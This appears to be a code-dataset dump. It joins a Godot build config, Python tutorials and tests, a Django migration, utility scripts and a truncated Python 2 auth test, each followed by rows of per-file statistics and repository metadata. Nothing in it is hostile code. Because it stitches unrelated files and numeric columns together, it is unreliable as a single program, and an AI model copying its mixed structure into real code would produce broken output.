module_dds_enabled = "no"
module_enet_enabled = "no"
module_etc_enabled = "no"
module_gdnative_enabled = "yes" # Required by GUT tests.
module_gridmap_enabled = "no"
module_hdr_enabled = "no"
module_jpg_enabled = "no"
module_jsonrpc_enabled = "no"
module_mobile_vr_enabled = "no"
module_mono_enabled = "no"
module_ogg_enabled = "no"
module_opensimplex_enabled = "no"
module_opus_enabled = "no"
module_pvr_enabled = "no"
module_recast_enabled = "no"
module_squish_enabled = "no"
module_stb_vorbis_enabled = "no"
module_tga_enabled = "no"
module_theora_enabled = "no"
module_tinyexr_enabled = "no"
module_upnp_enabled = "no"
module_vhacd_enabled = "no"
module_visual_script_enabled = "no"
module_vorbis_enabled = "no"
module_webm_enabled = "no"
module_webp_enabled = "no"
module_webrtc_enabled = "yes" # Required by GDNative.
module_websocket_enabled = "no"
module_xatlas_unwrap_enabled = "no"
| 30.097561 | 60 | 0.785251 | 182 | 1,234 | 4.895604 | 0.373626 | 0.353535 | 0.572391 | 0.044893 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118314 | 1,234 | 40 | 61 | 30.85 | 0.818934 | 0.13047 | 0 | 0 | 0 | 0 | 0.071161 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a0de10bf3a08f418ced75c3d9034dbdbb462fed | 2,936 | py | Python | tutorial/operations.py | luanxiangming/rqsts | 0bd3fa2fe64c71bf5702654de46e953d7a144847 | [
"Apache-2.0"
] | 2 | 2017-04-28T09:54:39.000Z | 2017-05-03T12:38:19.000Z | tutorial/operations.py | luanxiangming/rqsts | 0bd3fa2fe64c71bf5702654de46e953d7a144847 | [
"Apache-2.0"
] | null | null | null | tutorial/operations.py | luanxiangming/rqsts | 0bd3fa2fe64c71bf5702654de46e953d7a144847 | [
"Apache-2.0"
] | null | null | null | import unittest
class PythonOperations(unittest.TestCase):
# 数值运算
def test_number_operations(self):
self.assertEqual(2 / 4, 0.5) # 除法(总是返回一个浮点数),得到一个浮点数0.5
self.assertEqual(2 // 4, 0) # 除法(总是返回一个整数),得到一个整数0
self.assertEqual(17 % 3, 2) # 取余 , 得到2
self.assertEqual(2 ** 5, 32) # 乘方, 得到32
# String(字符串)
def test_string_operations(self):
s = 'Runoob'
self.assertEqual(s, 'Runoob')
self.assertEqual(s[0:-1], 'Runoo')
self.assertEqual(s[0], 'R')
self.assertEqual(s[2:5], 'noo')
self.assertEqual(s[2:], 'noob')
self.assertEqual(s * 2, 'RunoobRunoob')
self.assertEqual(s + "TEST", 'RunoobTEST')
# List(列表)
def test_list_operations(self):
list = ['abcd', 786, 2.23, 'runoob', 70.2]
tinylist = [123, 'runoob']
self.assertEqual(list, ['abcd', 786, 2.23, 'runoob', 70.2])
self.assertEqual(list[0], 'abcd')
self.assertEqual(list[1:3], [786, 2.23])
self.assertEqual(list[2:], [2.23, 'runoob', 70.2])
self.assertEqual(tinylist * 2, [123, 'runoob', 123, 'runoob'])
self.assertEqual(list + tinylist, ['abcd', 786, 2.23, 'runoob', 70.2, 123, 'runoob'])
# Tuple(元组)
def test_tupel_operations(self):
tuple = ('abcd', 786, 2.23, 'runoob', 70.2)
tinytuple = (123, 'runoob')
self.assertEqual(tuple, ('abcd', 786, 2.23, 'runoob', 70.2))
self.assertEqual(tuple[0], 'abcd')
self.assertEqual(tuple[1:3], (786, 2.23))
self.assertEqual(tuple[2:], (2.23, 'runoob', 70.2))
self.assertEqual(tinytuple * 2, (123, 'runoob', 123, 'runoob'))
self.assertEqual(tuple + tinytuple, ('abcd', 786, 2.23, 'runoob', 70.2, 123, 'runoob'))
# Set(集合)
def test_set_operations(self):
student = {'Tom', 'Jim', 'Mary', 'Tom', 'Jack', 'Rose'}
print(student) # 输出集合,重复的元素被自动去掉
# set可以进行集合运算
a = set('abcdcd')
b = set('cdefef')
self.assertEqual(a, {'a', 'b', 'c', 'd'})
self.assertEqual(b, {'c', 'd', 'e', 'f'})
self.assertEqual(a - b, {'a', 'b'}) # a和b的差集
self.assertEqual(a | b, {'a', 'b', 'c', 'd', 'e', 'f'}) # a和b的并集
self.assertEqual(a & b, {'c', 'd'}) # a和b的交集
self.assertEqual(a ^ b, {'a', 'b', 'e', 'f'}) # a和b中不同时存在的元素
# Dictionary(字典)
def test_dict_operations(self):
new_dict = {"one": "1 - 菜鸟教程", 2: "2 - 菜鸟工具"}
tiny_dict = {"name": "runoob", "code": "1", "site": "www.runoob.com"}
self.assertEqual(new_dict['one'], '1 - 菜鸟教程')
self.assertEqual(new_dict[2], '2 - 菜鸟工具')
self.assertEqual(sorted(tiny_dict.keys()), ['code', 'name', 'site'])
self.assertEqual(sorted(tiny_dict.values()), ['1', 'runoob', 'www.runoob.com'])
# 构造函数 dict() 可以直接从键值对序列中构建字典如下:
new_dict2 = dict([('google', '1'), ('baidu', '2'), ('bing', '3')])
self.assertEqual(new_dict2, {'baidu': '2', 'bing': '3', 'google': '1'})
new_dict3 = {x: x ** 2 for x in range(1, 5)}
self.assertEqual(new_dict3, {1: 1, 2: 4, 3: 9, 4: 16})
new_dict4 = dict(google=1, baidu=2, bing=3)
self.assertEqual(new_dict4, {'baidu': 2, 'bing': 3, 'google': 1})
if __name__ == '__main__':
unittest.main()
| 37.641026 | 89 | 0.612398 | 432 | 2,936 | 4.087963 | 0.247685 | 0.305776 | 0.02718 | 0.04983 | 0.429219 | 0.296149 | 0.243488 | 0.178935 | 0.115515 | 0.0453 | 0 | 0.071601 | 0.15327 | 2,936 | 77 | 90 | 38.12987 | 0.638777 | 0.073229 | 0 | 0 | 0 | 0 | 0.146874 | 0 | 0 | 0 | 0 | 0 | 0.6 | 1 | 0.1 | false | 0 | 0.016667 | 0 | 0.133333 | 0.016667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a14aafbca45ee60137be8f226645ef2890a0435 | 1,610 | py | Python | blog/migrations/0001_initial.py | gurleen-kaur1313/Oneness-Backend | 90c19d6c82c1d447f878575c132a7087d5347c85 | [
"MIT"
] | 1 | 2020-12-25T12:21:17.000Z | 2020-12-25T12:21:17.000Z | blog/migrations/0001_initial.py | gurleen-kaur1313/Oneness-Backend | 90c19d6c82c1d447f878575c132a7087d5347c85 | [
"MIT"
] | null | null | null | blog/migrations/0001_initial.py | gurleen-kaur1313/Oneness-Backend | 90c19d6c82c1d447f878575c132a7087d5347c85 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.4 on 2020-12-19 09:35
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Message',
fields=[
('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
('title', models.CharField(blank=True, max_length=255, null=True)),
('name', models.CharField(blank=True, max_length=255, null=True)),
('body', models.TextField(blank=True, null=True)),
('date', models.DateTimeField(default=django.utils.timezone.now)),
('send_to', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='Blog',
fields=[
('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
('title', models.CharField(blank=True, max_length=255, null=True)),
('body', models.TextField(blank=True, null=True)),
('date', models.DateTimeField(default=django.utils.timezone.now)),
('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
]
| 39.268293 | 121 | 0.619255 | 176 | 1,610 | 5.579545 | 0.375 | 0.045825 | 0.04277 | 0.06721 | 0.641548 | 0.641548 | 0.641548 | 0.641548 | 0.641548 | 0.641548 | 0 | 0.02147 | 0.247826 | 1,610 | 40 | 122 | 40.25 | 0.78943 | 0.02795 | 0 | 0.484848 | 1 | 0 | 0.037108 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.151515 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a20d276c6a4a52d9f929abd6ca2f6bae031eae4 | 1,424 | py | Python | applitools/utils/argument_guard.py | applitools/eyes.selenium.python | 3a09a3372a3a8915b3c97ee54fc223580c45c0a3 | [
"Apache-2.0"
] | 11 | 2016-04-20T21:21:37.000Z | 2020-04-27T19:46:56.000Z | applitools/utils/argument_guard.py | applitools/eyes.selenium.python | 3a09a3372a3a8915b3c97ee54fc223580c45c0a3 | [
"Apache-2.0"
] | 15 | 2017-01-11T04:58:31.000Z | 2019-09-13T18:00:35.000Z | applitools/utils/argument_guard.py | applitools/eyes.selenium.python | 3a09a3372a3a8915b3c97ee54fc223580c45c0a3 | [
"Apache-2.0"
] | 15 | 2016-03-23T22:06:39.000Z | 2020-06-14T09:11:58.000Z | import typing as tp
from applitools.core.errors import EyesIllegalArgument
from .compat import iteritems
def get_name_from_param(param):
for var_name, var in iteritems(locals()):
if var is param:
return var_name
def not_none(param):
"""
Fails if the input parameter is None
"""
if param is None:
raise ValueError('{} is None'.format(get_name_from_param(param)))
def not_none_or_empty(param):
"""
Fails if the input parameter string is null or empty.
"""
not_none(param)
if not param:
raise ValueError('{} is empty'.format(get_name_from_param(param)))
def greater_than_or_equal_to_zero(param, *args):
# type: (int, *int) -> None
"""
Fails if the input integer parameter is negative.
"""
if args:
# adaptation for attr library
param = args[1]
if 0 >= param:
raise ValueError('{} < 0'.format(get_name_from_param(param)))
# TODO: update after resolving issue
def greater_than_zero(param):
# type: (int) -> None
if 0 >= param:
raise ValueError('{} < 1'.format(get_name_from_param(param)))
def is_valid_state(is_valid, message):
"""
Fails if is_valid is false.
"""
if not is_valid:
raise Exception(message)
def is_a(param, klass):
if not isinstance(param, klass):
raise EyesIllegalArgument('{} is not instance of {}'.format(param, klass))
| 23.733333 | 82 | 0.64677 | 197 | 1,424 | 4.497462 | 0.329949 | 0.039503 | 0.062077 | 0.090293 | 0.273138 | 0.197517 | 0.10158 | 0 | 0 | 0 | 0 | 0.004634 | 0.242275 | 1,424 | 59 | 83 | 24.135593 | 0.816497 | 0.195225 | 0 | 0.071429 | 0 | 0 | 0.05268 | 0 | 0 | 0 | 0 | 0.016949 | 0 | 1 | 0.25 | false | 0 | 0.107143 | 0 | 0.392857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a2511e77831cd9bbde9663624907abec073569d | 1,663 | py | Python | grammar.py | ShobhitLamba/NLP-Project | b86d46b3dadefbea37cacb9edd3ea733b502807d | [
"MIT"
] | null | null | null | grammar.py | ShobhitLamba/NLP-Project | b86d46b3dadefbea37cacb9edd3ea733b502807d | [
"MIT"
] | null | null | null | grammar.py | ShobhitLamba/NLP-Project | b86d46b3dadefbea37cacb9edd3ea733b502807d | [
"MIT"
] | 1 | 2021-09-21T15:48:19.000Z | 2021-09-21T15:48:19.000Z | # author: Shobhit Lamba
import re
from stanfordcorenlp import StanfordCoreNLP
def subjectVerbAgreement(text):
nlp = StanfordCoreNLP(r'..\stanford-corenlp-full-2018-02-27')
text = re.sub('[^A-Za-z0-9]+', ' ', text)
tags = []
pos_tags = nlp.pos_tag(text)
# print(len(pos_tags))
for i in range(len(pos_tags)):
tags.append(pos_tags[i][1])
# print(pos_tags)
singular_PRP = ['I', 'You', 'They', 'We', 'i', 'you', 'they', 'we']
plural_PRP = ['He', 'She', 'It', 'he', 'she', 'it']
#print(tags)
sub_verb_errors = 0
# Checking sub_verb_errors for Pronouns
for i in range(len(pos_tags) - 1):
if pos_tags[i][0] in singular_PRP and pos_tags[i+1][1] == 'VBZ':
sub_verb_errors += 1
elif pos_tags[i][0] in plural_PRP and pos_tags[i+1][1] == 'VBP':
sub_verb_errors += 1
elif pos_tags[i][0] in plural_PRP and pos_tags[i+1][1] == 'VB':
sub_verb_errors += 1
# Checking sub_verb_errors for Verb tense
sub_verb_errors += tags.count("'NN', 'VBP'")
sub_verb_errors += tags.count("'NN', 'VB'")
sub_verb_errors += tags.count("'NNP', 'VBP'")
sub_verb_errors += tags.count("'NNPS', 'VBZ'")
sub_verb_errors += tags.count("'NNS', 'VBZ'")
sub_verb_errors += tags.count("'NNP', 'VB'")
sub_verb_errors += tags.count("'NN', 'WDT', 'VB'")
sub_verb_errors += tags.count("'NN', 'WDT', 'VBP'")
sub_verb_errors += tags.count("'NNS', 'WDT', 'VBZ'")
nlp.close()
# print(sub_verb_errors)
return sub_verb_errors
#subjectVerbAgreement("We is a boy. He am a boy.")
| 30.236364 | 72 | 0.578473 | 243 | 1,663 | 3.744856 | 0.271605 | 0.130769 | 0.242857 | 0.168132 | 0.50989 | 0.445055 | 0.23956 | 0.175824 | 0.112088 | 0.112088 | 0 | 0.019841 | 0.242333 | 1,663 | 54 | 73 | 30.796296 | 0.702381 | 0.139507 | 0 | 0.1 | 0 | 0 | 0.150704 | 0.024648 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0 | 0.066667 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a252924ed8ece14d7c4463c7e3ed150706b3ab4 | 846 | py | Python | options/extra_args_dfc.py | marcelampc/aerial_mtl | c6a2033ec89a89ff06836014c619d66bc907d958 | [
"BSD-3-Clause"
] | 58 | 2019-07-23T09:01:58.000Z | 2022-03-31T23:12:37.000Z | options/extra_args_dfc.py | marcelampc/mtl_aerial_images | c6a2033ec89a89ff06836014c619d66bc907d958 | [
"BSD-3-Clause"
] | 5 | 2019-12-09T12:20:35.000Z | 2021-06-23T12:41:48.000Z | options/extra_args_dfc.py | marcelampc/aerial_mtl | c6a2033ec89a89ff06836014c619d66bc907d958 | [
"BSD-3-Clause"
] | 8 | 2019-08-05T11:13:23.000Z | 2021-04-26T00:57:40.000Z | from .extra_args_mtl import MTL_Options
class MTL_Raster_Options(MTL_Options):
def initialize(self):
MTL_Options.initialize(self)
self.parser.add_argument('--dfc_preprocessing', type=int, default=30)
self.parser.add_argument('--which_raster', default='dsm', help='optios are: dsm, dsm-demb, dsm-dem3msr, dsm-demtli')
self.parser.add_argument('--test_stride', type=int, nargs='+', default=[128])
self.parser.add_argument('--reconstruction_method', default='concatenation', help='concatenation, gaussian')
self.parser.add_argument('--save_semantics', action='store_true')
self.parser.add_argument('--save_target', action='store_true')
self.parser.add_argument('--mean_rotation', type=float, default=0.0)
self.parser.add_argument('--max_rotation', type=float, default=5.0) | 65.076923 | 124 | 0.710402 | 110 | 846 | 5.236364 | 0.436364 | 0.138889 | 0.180556 | 0.291667 | 0.175347 | 0.125 | 0.125 | 0 | 0 | 0 | 0 | 0.013661 | 0.134752 | 846 | 13 | 125 | 65.076923 | 0.773224 | 0 | 0 | 0 | 0 | 0 | 0.279811 | 0.027155 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a3a98414bc82da11efb8824870bd5ed0c7c0ba2 | 1,567 | py | Python | plot_history.py | Mayner0220/Mimotion | 34ae9cca84f53fb69ed0de8ead0753dc37d0aba2 | [
"Apache-2.0"
] | null | null | null | plot_history.py | Mayner0220/Mimotion | 34ae9cca84f53fb69ed0de8ead0753dc37d0aba2 | [
"Apache-2.0"
] | null | null | null | plot_history.py | Mayner0220/Mimotion | 34ae9cca84f53fb69ed0de8ead0753dc37d0aba2 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
def plot_model(model_history):
fig, axs = plt.subplots(1, 2, figsize=(15, 5))
# accuracy history 요약
# model_history로 history를 호출할 수 있으나
# 알맞지 않은 데이터 타입으로 에러가 발생
axs[0].plot(model_history.history["accuracy"], "y", label="train_acc")
axs[0].plot(model_history.history["val_accuracy"], "r", label="val_acc")
# axs[0].plot(range(1, len(model_history.history["accuracy"])+1, model_history.history["accuracy"]))
# axs[0].plot(range(1, len(model_history.history["val_accuracy"])+1, model_history.history["val_accuracy"]))
axs[0].set_title("Model Accuracy")
axs[0].set_ylabel("Accuracy")
axs[0].set_xlabel("Epoch")
#axs[0].set_xticks(np.arange(1, len(model_history.history['accuracy'])+1), len(model_history.history['accuracy'])/10)
axs[0].legend(["train", "validation"], loc="best")
# loss history 요약
axs[1].plot(model_history.history["loss"], "b", label="train_loss")
axs[1].plot(model_history.history["val_loss"], "g", label="val_loss")
# axs[1].plot(range(1, len(model_history.history["loss"]+1), model_history.history["loss"]))
# axs[1].plot(range(1, len(model_history.history["val_loss"]+1), model_history.history["val_loss"]))
axs[1].set_title("Model Loss")
axs[1].set_ylabel("Loss")
axs[1].set_xlabel("Epoch")
#axs[1].set_xticks(np.arange(1, len(model_history.history['loss'])+1), len(model_history.history['loss'])/10)
axs[1].legend(["train", "validation"], loc="best")
fig.savefig("plot.png")
plt.show() | 40.179487 | 121 | 0.671985 | 241 | 1,567 | 4.215768 | 0.244813 | 0.200787 | 0.299213 | 0.125984 | 0.602362 | 0.423228 | 0.261811 | 0.234252 | 0.228346 | 0.07874 | 0 | 0.028488 | 0.126356 | 1,567 | 39 | 122 | 40.179487 | 0.71366 | 0.454371 | 0 | 0 | 0 | 0 | 0.191716 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.111111 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a3b62247eedca86a36cb29ad019af9f62411360 | 1,706 | py | Python | encrypt.py | mrinalpande/Music-Encrypt | 95e0f128232be307c844066cdf85a39097855d47 | [
"MIT"
] | 6 | 2017-08-19T21:41:57.000Z | 2022-01-15T22:25:09.000Z | encrypt.py | mrinalpande/Music-Encrypt | 95e0f128232be307c844066cdf85a39097855d47 | [
"MIT"
] | null | null | null | encrypt.py | mrinalpande/Music-Encrypt | 95e0f128232be307c844066cdf85a39097855d47 | [
"MIT"
] | 2 | 2017-11-28T00:18:02.000Z | 2022-01-16T06:57:42.000Z | import generate
def encrypt(path,key,outfile):
print("\n-------Encrypting-------")
plain_text = open(str(path),"r")
encoding = open("./encode/"+"C_en","r")
duration = open("./encode/duration","r")
cipher_text = open("c_text","w")
cipher_dur = open("c_dur","w")
#Getting plain text
for lines in plain_text:
pt = lines.upper()
plain_text.close()
#Creating list for the encoding
en = []
for lines in encoding:
en.append(lines.rstrip())
#Creating list for the note duration
dur = []
for dura in duration:
dur.append(dura.rstrip('\n'))
#getting letters from plain text
for letter in pt:
for lines in en:
for let in lines:
if let == letter:
if lines.index(let) == 0:
cipher_text.write(str(lines.index(let))+"\n")
elif lines.index(let) == 1:
cipher_text.write(str(lines.index(let)+1)+"\n")
elif lines.index(let) == 2 or lines.index(let) == 3:
cipher_text.write(str(lines.index(let)+2)+"\n")
elif lines.index(let) == 4:
cipher_text.write(str(lines.index(let)+3)+"\n")
elif lines.index(let) == 5:
cipher_text.write(str(lines.index(let)+4)+"\n")
elif lines.index(let) == 6:
cipher_text.write(str(lines.index(let)+5)+"\n")
cipher_dur.write(str(dur[en.index(lines)])+"\n")
cipher_text.close()
cipher_dur.close()
duration.close()
encoding.close()
generate.generate(key,outfile) | 34.816327 | 72 | 0.518171 | 214 | 1,706 | 4.051402 | 0.247664 | 0.149942 | 0.194925 | 0.124567 | 0.318339 | 0.214533 | 0.214533 | 0 | 0 | 0 | 0 | 0.010471 | 0.328253 | 1,706 | 49 | 73 | 34.816327 | 0.746073 | 0.066823 | 0 | 0 | 1 | 0 | 0.055381 | 0.016362 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025641 | false | 0 | 0.025641 | 0 | 0.051282 | 0.025641 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a425bf3275d325bab05c4e255cdf8dccbba3cb0 | 518 | py | Python | test/test_edit_contact.py | Physic67/python_training | a19206b8dc2fc642f0cd29781eb8431122501630 | [
"Apache-2.0"
] | null | null | null | test/test_edit_contact.py | Physic67/python_training | a19206b8dc2fc642f0cd29781eb8431122501630 | [
"Apache-2.0"
] | null | null | null | test/test_edit_contact.py | Physic67/python_training | a19206b8dc2fc642f0cd29781eb8431122501630 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from model.contact import Contact
def test_edit_first_contact(app):
if app.contact.count() == 0:
app.contact.add_new_contact(Contact(firstname="Edward", middlename="Vampire", lastname="Kallen", address="Forks, Washington", homephone="495-1234567", mobilephone="901-1234567", email="123@gmail.ru"))
app.contact.edit_first_contact(Contact(firstname="Shrek", middlename="Vampire", lastname="Kallen", address="Forks, Washington", homephone="495", mobilephone="901", email="123"))
| 57.555556 | 208 | 0.727799 | 65 | 518 | 5.692308 | 0.553846 | 0.081081 | 0.086486 | 0.167568 | 0.351351 | 0.351351 | 0.351351 | 0.351351 | 0.351351 | 0 | 0 | 0.072495 | 0.094595 | 518 | 8 | 209 | 64.75 | 0.716418 | 0.040541 | 0 | 0 | 0 | 0 | 0.230303 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a43592f5165a5b81c97a7902cebeeeef9e52fc6 | 356 | py | Python | blue_green_assets/aws_authentication.py | DNXLabs/docker-beanstalk-bluegreen | bcbf30ce6fb1e1c92f1e6c87a657add7bc03ae74 | [
"Apache-2.0"
] | 3 | 2022-03-29T16:33:17.000Z | 2022-03-31T01:36:39.000Z | blue_green_assets/aws_authentication.py | DNXLabs/docker-beanstalk-bluegreen | bcbf30ce6fb1e1c92f1e6c87a657add7bc03ae74 | [
"Apache-2.0"
] | null | null | null | blue_green_assets/aws_authentication.py | DNXLabs/docker-beanstalk-bluegreen | bcbf30ce6fb1e1c92f1e6c87a657add7bc03ae74 | [
"Apache-2.0"
] | null | null | null | import boto3
import os
def get_boto_client():
print("AUTH_METHOD: " + str(os.getenv('AUTH_METHOD')))
if os.getenv('AUTH_METHOD') == 'SSO':
boto3.setup_default_session(profile_name=os.getenv('SSO_PROFILE'))
print("SSO Authentication")
else:
print("AWS KEYS authentication")
return boto3 | 32.363636 | 78 | 0.615169 | 42 | 356 | 5 | 0.571429 | 0.142857 | 0.114286 | 0.171429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011407 | 0.261236 | 356 | 11 | 79 | 32.363636 | 0.787072 | 0 | 0 | 0 | 0 | 0 | 0.252101 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | true | 0 | 0.2 | 0 | 0.4 | 0.3 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a4ad709764ad0ae642b5bd5a4a3f9d80e83d0e1 | 9,745 | py | Python | tests/test_controllers.py | SungardAS/porper-core | e508b032ad9d451a6f962baa09115dfabc3da3f3 | [
"MIT"
] | null | null | null | tests/test_controllers.py | SungardAS/porper-core | e508b032ad9d451a6f962baa09115dfabc3da3f3 | [
"MIT"
] | null | null | null | tests/test_controllers.py | SungardAS/porper-core | e508b032ad9d451a6f962baa09115dfabc3da3f3 | [
"MIT"
] | 1 | 2020-12-09T16:54:24.000Z | 2020-12-09T16:54:24.000Z |
import sys
sys.path.append('..')
import os
region = os.environ.get('AWS_DEFAULT_REGION')
import boto3
dynamodb = boto3.resource('dynamodb',region_name=region)
# read input json
from input_local import INPUT
print "\n\n\n##############################################################################"
print "# User Auth"
print "##############################################################################"
print "\n# create an admin user using a google user"
if INPUT['google']['id_token']:
from porper.controllers.google_auth_controller import GoogleAuthController
google_auth_controller = GoogleAuthController(dynamodb)
ret = google_auth_controller.authenticate(INPUT['google'])
google_access_token = ret['access_token']
elif INPUT['github']['code']:
from porper.controllers.github_auth_controller import GithubAuthController
github_auth_controller = GithubAuthController(dynamodb)
ret = github_auth_controller.authenticate(INPUT['github'])
github_access_token = ret['access_token']
else:
from porper.controllers.auth_controller import AuthController
auth_controller = AuthController(dynamodb)
auth_params = {
'user_id': 'google_user_1',
'email': 'admin1@google.com',
'family_name': 'google',
'given_name': 'user',
'name': 'Google User',
'auth_type': 'google',
'access_token': 'google_access_token',
'refresh_token': 'google_refresh_token'
}
ret = auth_controller.authenticate(auth_params)
google_access_token = 'google_access_token'
print "\n# let admin (google user) invite a new user as a group admin of public group"
public_group_id = '435a6417-6c1f-4d7c-87dd-e8f6c0effc7a'
from porper.controllers.invited_user_controller import InvitedUserController
invited_user_controller = InvitedUserController(dynamodb)
invited_user_controller.create(google_access_token, {'email':'group.admin1@github.com', 'group_id': public_group_id, 'is_admin': True, 'auth_type': 'github'})
print "\n# now authenticate the group admin to create it"
from porper.controllers.auth_controller import AuthController
auth_controller = AuthController(dynamodb)
auth_params = {
'user_id': 'github_user_1',
'email': 'group.admin1@github.com',
'family_name': 'github',
'given_name': 'user',
'name': 'Github User',
'auth_type': 'github',
'access_token': 'github_access_token',
'refresh_token': 'github_refresh_token'
}
ret = auth_controller.authenticate(auth_params)
github_access_token = 'github_access_token'
print "\n# let group admin (github user) invite a new user as a group admin of public group"
public_group_id = '435a6417-6c1f-4d7c-87dd-e8f6c0effc7a'
from porper.controllers.invited_user_controller import InvitedUserController
invited_user_controller = InvitedUserController(dynamodb)
invited_user_controller.create(github_access_token, {'email':'user1@dummy.com', 'group_id': public_group_id, 'is_admin': False, 'auth_type': 'slack', 'slack_team_id': 'T11111', 'slack_bot_name': 'dummybot'})
print "\n# now authenticate the user to create it"
from porper.controllers.auth_controller import AuthController
auth_controller = AuthController(dynamodb)
auth_params = {
'user_id': 'dummy_user_1',
'email': 'user1@dummy.com',
'family_name': 'dummy',
'given_name': 'user',
'name': 'Dummy User',
'auth_type': 'slack',
'slack_team_id': 'T11111',
'slack_bot_name': 'dummybot',
'access_token': 'dummy_access_token',
'refresh_token': 'dummy_refresh_token'
}
ret = auth_controller.authenticate(auth_params)
dummy_access_token = 'dummy_access_token'
print "\n\n\n##############################################################################"
print "# Group"
print "##############################################################################"
from porper.controllers.group_controller import GroupController
group_controller = GroupController(dynamodb)
print "\n\n#### admin (google user)"
print "\n#find public group"
items1 = group_controller.find(google_access_token, {'name': 'public'})
ret = items1[0]['name'] == 'public'
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# list all groups as admin (google user)"
items2 = group_controller.find(google_access_token, {})
ret = len(items2) == 2
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n# find a group with the ids"
ids = [ item['id'] for item in items2 ]
items3 = group_controller.find(google_access_token, {'id': ids[0]})
ret = items3[0]['id'] == ids[0]
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
items4 = group_controller.find(google_access_token, {'ids': ids})
ret = len(items4) == 2
if not ret:
print "FAILED!!!!!!!!"
sys.exit()
print "\n\n#### group admin (github user)"
print "\n# try creating a group"
try:
group_controller.create(github_access_token, "should be failed")
print "FAILED!!!!!!!!"
sys.exit()
except:
print True
print "\n# list groups"
items5 = group_controller.find(github_access_token, {})
ret = len(items5) == 1
if not ret:
